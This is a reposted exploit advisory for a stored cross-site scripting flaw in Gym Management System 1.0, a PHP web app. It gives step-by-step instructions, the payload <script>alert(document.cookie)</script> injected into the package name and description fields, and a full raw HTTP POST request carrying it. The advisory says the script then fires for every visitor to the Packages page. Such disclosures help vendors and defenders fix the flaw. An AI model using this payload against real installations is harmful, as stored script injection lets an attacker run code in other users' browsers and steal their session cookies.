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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Gym Management System 1.0 - Stored Cross Site Scripting
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/gym/gym/index.php?page=packages

Step 2: use payload <script>alert(document.cookie)</script> in Package Name and Description field

Malicious Request
POST /gym/gym/ajax.php?action=save_package HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------10391575234966392972740129710
Content-Length: 587
Origin: http://localhost
Connection: close
Referer: http://localhost/gym/gym/index.php?page=packages
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D

-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="id"


-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="package"

<script>alert(document.cookie)</script>
-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="description"

<script>alert(document.cookie)</script>
-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="amount"

1
-----------------------------10391575234966392972740129710--

Step 3: Cookie will be reflected each time someone visits the Packages section.